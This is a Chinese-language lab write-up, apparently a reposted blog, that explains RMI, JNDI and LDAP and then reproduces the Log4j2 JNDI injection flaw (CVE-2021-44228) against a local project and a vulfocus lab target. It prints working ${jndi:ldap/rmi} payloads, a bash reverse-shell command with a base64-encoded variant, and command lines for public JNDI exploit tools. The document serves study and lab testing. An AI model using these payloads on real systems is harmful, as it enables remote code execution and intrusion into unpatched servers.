前言:我是觉得这个
RMI、JNDI、LDAP介绍+log4j漏洞分析:https://blog.csdn.net/HBohan/article/details/123181812
⬆️主要参考文章
RMI
Remote Method Invocatioon,也就是远程方法调用,
和RPC(Remote Procedure Call)很像,RMI算是JAVA定制版RPC。
一个完整的RMI调用过程,需要下面几个部分
注册服务
RMIServer
客户端
接口
实现接口的类
注册服务代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.util.concurrent.CountDownLatch; //1、先启动Register服务 public class RegServer { public static void main(String[] args) { try { LocateRegistry.createRegistry(8000);//registry使用8000端口 } catch (RemoteException e) { e.printStackTrace(); } CountDownLatch cd =new CountDownLatch(1); try { cd.await();//挂起主线程,否则应用会退出 } catch (InterruptedException e) { e.printStackTrace(); } } }
接口和接口实现类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import java.rmi.Remote; import java.rmi.RemoteException; public interface RemoteIntF extends Remote { String sayHello(String from_the_out_side) throws RemoteException; } //----------接口实现类 import java.rmi.RemoteException; public class RemoteImp implements RemoteIntF { public String sayHello(String name) throws RemoteException{ return String.format("hello, %s!",name); } }
RMI服务代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; //2、启动RMI去连接Register服务,并将Name和存根stub 发送给Register服务 public class RMI { public static void main(String[] args) { RemoteImp remotehello = new RemoteImp(); try { RemoteIntF stub = (RemoteIntF) UnicastRemoteObject.exportObject(remotehello,4000);//导出服务,使用4000端口 Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000);//获取registry registry.bind("laotie",stub);//使用名字laotie,将服务注册到registry } catch (AlreadyBoundException | RemoteException e) { e.printStackTrace(); } } }
客户端代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; //3、启动Client,连接Register服务,根据Name获取到对应存根,再通过存根调用sayHello(“from the out side”) public class Client { public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry("127.0.0.1",8000);//获取注册中心引用 RemoteIntF remotehello = (RemoteIntF) registry.lookup("laotie");//获取remotehello服务 System.out.println(remotehello.sayHello("from the out side"));//调用远程方法 } catch (RemoteException | NotBoundException e) { e.printStackTrace(); } } }
执行流程如下:依次运行下面3个类的main方法
1、首先开启注册服务RegServer
2、RMI创建实现接口的类的对象,并在注册服务中注册
3、Client客户端从注册服务调用接口里的方法
RegServer运行后状态:是不会自动停止的
RMI 同
Client运行结果:
不用的时候,记得手动关闭
还有⬆️代码的简化版本,见原博文。
JNDI
Java Naming and Directory Interfac, java命名和目录接口。
Naming指命名服务,Directory指目录服务。
命名服务
通过对资源的命名,便于下次调用资源更方便(所以这里的Naming要唯一)。为每一个名字绑定了一个资源。
例如上面的例子中的注册服务,就属于命名服务将laotie绑定RemoteImpl对象,在使用时,直接通过名字laotie就可以获取到RemoteImpl的存根stub。
目录服务
和命名服务很像,但更复杂,可以理解为一个清单,清单上有各种资源,每个资源又有自己的清单。
和计算机上的目录很像,打开一个文件夹,可以看见下一层目录,再打开一个文件夹,又可以看见下一层目录。
dns
就是目录服务,那它为什么属于目录服务,而不属于命名服务呢?
因为:在查询dns时,本地dns服务器去请求dns根服务器然后再请求.com服务器,在请求163.com服务器,最后获得地址。
目录服务使用树形结构,这种结构优点是查询效率特别高,所以目录服务的优点之一就是查询效率特别高;缺点就是写数据慢,它可以是一种属性结构的数据库,也可以是上面那种分布式的目录服务。
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。
J2EE规定了J2EE容器都要实现JNDI接口。
在实际使用时,在J2EE容器中配置JNDI参数,这个容器就是数据源,在使用时,直接通过数据源名称就可以调用。
一个mysql的配置文件示例如图,数据源名称就是MySqlDS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<?xml version="1.0" encoding="UTF-8"?> <datasources> <local-tx-datasource> <jndi-name>MySqlDS</jndi-name> <connection-url>jdbc:mysql://localhost:3306/lw</connection-url> <driver-class>com.mysql.jdbc.Driver</driver-class> <user-name>root</user-name> <password>rootpassword</password> <exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name> <metadata> <type-mapping>mySQL</type-mapping> </metadata> </local-tx-datasource> </datasources>
在使用时:
1
2
3
4
5
6
7
8Context ctx=new InitialContext(); Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源 DataSource ds=(Datasource)datasourceRef; conn=ds.getConnection(); /* 使用conn进行数据库SQL操作 */ ...... c.close();
通过JNDI统一的接口,只需要配置好数据源,在使用时,只需要调用lookup方法,查询数据源名称就可以获得数据源。
使用数据库,不需要考虑不同数据库的驱动、连接、调用等方式,如果想换一个数据库,只需要修改下数据源配置文件就可以了。
LDAP
LDAP(Light Directory Access Portocol),是一种协议,它是基于X.500标准的跨平台的 轻量级目录访问协议
,也是通过树形结构。
LDAP的中心概念是信息模型,它处理存储在目录中的信息种类和信息的结构。 信息模型围绕一个条目(即树的一个Node)进行,该条目是具有类型和值的属性的集合。 条目以树状结构组织,称为目录信息树。 这些条目是围绕现实世界的概念,组织,人员和对象组成的。 属性类型与定义允许信息的语法相关联。 单个属性可以在其中包含多个值。 LDAP中的专有名称从下至上读取。 左侧部分称为相对专有名称,右侧部分为基本专有名称。
LDAP协议主要用于单点登录SSO(Single Sign on),可以用于SSO,但不等与SSO,这种协议还可以用于统一各种系统的认证方式、储存企业组织架构,员工信息(由于它使用树形结构,查询效率高)等等。如图
log4j复现
环境准备:
创建maven项目,添加依赖
1
2
3
4
5
6<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency>
创建类
1
2
3
4
5
6
7
8
9
10
11
12
13package log2jfx; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j2Vul { public static void main(String[] args) { Logger logger = LogManager.getLogger(); logger.error("${jndi:ldap://xxing.org.cn}"); } }
运行,成功收到dns请求
使用的dnslog一开始看到这个IP地址也不是我的出口IP呀,就觉得可能别人用混了什么的。
就用了goby的dnslog插件,听说这样的话别人就不会用混什么的,结果还是那个IP,然后我就麻了。
试了好几遍,都能接收到请求,我肯定是成功了的。
写到这,我才恍然大明白,goby里不也是dnslog嘛,能跟网站上有啥不一样。
俺来不知道,就这吧嘻嘻
复现方式2
https://cloud.tencent.com/developer/article/1917856
搭建一个jndi服务
1
2
3
4https://github.com/feihong-cs/JNDIExploit 或者去 https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5
去刚下载的文件里面找到JNDIExploit-1.2-SNAPSHOT.jar
所在的文件夹,并使用终端打开,执行以下命令。
1
2java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 本地的ip地址/VPS地址
https://github.com/welk1n/JNDI-Injection-Exploit
nc监听
复现方式3–vulfocus靶场
https://blog.csdn.net/csd_ct/article/details/121158165
拉取镜像
1
2docker pull vulfocus/vulfocus:latest
运行
1
2docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.9.90 vulfocus/vulfocus
VUL_IP值为 Docker 服务器 IP ,不能为 127.0.0.1。
启动出现问题
手动启动下试试
启动容器后,输入IP访问(我的看样子,不知道有什么问题出现了)
默认登录密码为:admin/admin,登录成功后,进入镜像管理,一键同步,就可以同步官网镜像了(果然是有问题,俺获取不到,哭唧唧
点击添加,找到要的镜像后,会自动下载镜像
哎嘿,我又可以了
在首页,启动靶场
访问地址
就是这个
burp抓包,提示参数为payload
先用dnslog验证一下
1
2
3
4${jndi:ldap://rgje7p.dnslog.cn} //进行url编码 %24%7Bjndi%3Aldap%3A%2F%2Frgje7p.dnslog.cn%7D
验证成功
漏洞利用
在虚拟机开启监听
1
2
3
4
5
6//构造反弹shell命令 bash -i >& /dev/tcp/192.168.9.187/1234 0>&1 //由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密 //加密方式见[原文链接](https://blog.csdn.net/yang1234567898/article/details/124255931) bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTg3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
使用jdni注入工具
1
2
3
4
5java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址" //即 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTg3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.9.90" //192.168.9.90就是运行这条命令得电脑IP
1
2${jndi:rmi://192.168.9.90:1099/5q6nbt}
算逑,数据发过去一直在waiting
啥都没listen到
仿佛出了什么错
原理分析
https://su18.org/post/log4j2/
https://www.yuque.com/yq1ng/java/pbica2#xrVeI
Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${}
关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。 CVE 编号:CVE-2021-44228
浅谈Log4j2信息泄露与不出网回显:https://xz.aliyun.com/t/10659
idea生成jar文件
https://blog.csdn.net/qq_33942040/article/details/123292824
1、打开模块设置
2、选模块
3、选主类以及生成的文件在哪个地方
4、选择“包含在项目构建中”然后点击apply
5、编译生成
6、build
7、就在这里啦
另:
最后
以上就是孤独棒球最近收集整理的关于log4j漏洞复现及前置知识的全部内容,更多相关log4j漏洞复现及前置知识内容请搜索靠谱客的其他文章。
发表评论 取消回复